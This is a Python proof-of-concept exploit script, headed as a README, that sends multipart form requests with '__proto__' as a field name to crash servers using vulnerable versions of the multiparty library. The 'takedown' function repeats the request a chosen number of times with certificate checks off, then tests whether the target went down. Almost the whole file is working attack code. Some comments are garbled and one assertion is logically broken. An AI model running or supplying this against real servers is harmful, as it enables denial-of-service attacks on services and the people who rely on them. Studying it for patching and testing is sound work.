README.md
Rendering markdown...
'''
POC: Multiparty CVE-2026-8161 for mocklab
Seron Athavan
'''
import requests
from urllib.parse import urlparse
import argparse
BOUNDARY = '----WebKitFormBoundaryoFXWxynGz2jDt5Im'
class payload:
web_url = None
headers = {
'Host': 'localhost',
'Cache-Control': 'no-cache',
'X-Requested-With': 'XMLHttpRequest',
'Content-Type': f'multipart/form-data; boundary={BOUNDARY}',
'Connection': 'close',
}
data = (
f'--{BOUNDARY}\r\n'
f'Content-Disposition: form-data; name="__proto__"\r\n'
f'\r\n'
f'mrrp meowd\r\n'
f'--{BOUNDARY}--\r\n'
).encode()
def set_host(self, web_url):
host = urlparse(web_url)
host = host.hostname
assert(host != None or len(host) == 0)
self.headers["Host"] = host
############################################################################
########################## Code Goes Here ##################################
############################################################################
def polluted(config: dict) -> bool:
'''
Checks if the payload crashed the server.
In multiparty <= 4.2.3, using __proto__ as a field name causes truthy confusion
Object.prototype, causing a TypeError crash on the next field emit.
A 5xx response or connection error indicates the server is down.
Ref: https://nvd.nist.gov/vuln/detail/CVE-2026-8161
'''
web_url = config["web_url"]
try:
response = requests.get(web_url, timeout=5)
if response.status_code in range(500, 600):
return True
except requests.exceptions.ConnectionError:
return True # server crashed, connection refused
return False
def takedown(config: dict) -> bool:
'''
Based on CVE-2026-8161
https://github.com/pillarjs/multiparty/issues/...
Sends a multipart/form-data request with __proto__ as the field name.
In multiparty <= 4.2.3 this causes collision with inherited properties.
'''
web_url = config["web_url"]
replica = config["replica"]
atk = payload()
atk.set_host(web_url)
for dyno in range(replica):
print(f"Sending request #{dyno}")
response = requests.post(web_url, headers=atk.headers, data=atk.data, verify=False)
print("status code:", response.status_code)
took_down = polluted(config)
return took_down
#===================================================#
#==================== DRIVERS ======================#
#===================================================#
config = {
"web_url": None,
"replica": None
}
if __name__ == "__main__":
parser = argparse.ArgumentParser()
parser.add_argument("-u", '--url', help="The form url to perform attack", default=None)
parser.add_argument("-r", '--replica', help="Number of requests to send [Default = 1]", default=1, type=int)
args = parser.parse_args()
args = args.__dict__
url = args.get("url")
replica = args.get("replica")
if(url == None): parser.error("form submission url is required.")
if(replica is None or replica < 1): parser.error("Need atleast 1 replica")
config = {
"web_url": url,
"replica": replica,
}
took_down = takedown(config)
msg = [
"Payload rejected or server patched. [FAIL]",
"Collision payload accepted. [PASS]"
][took_down]
print(msg)
exit(0 if took_down else -1)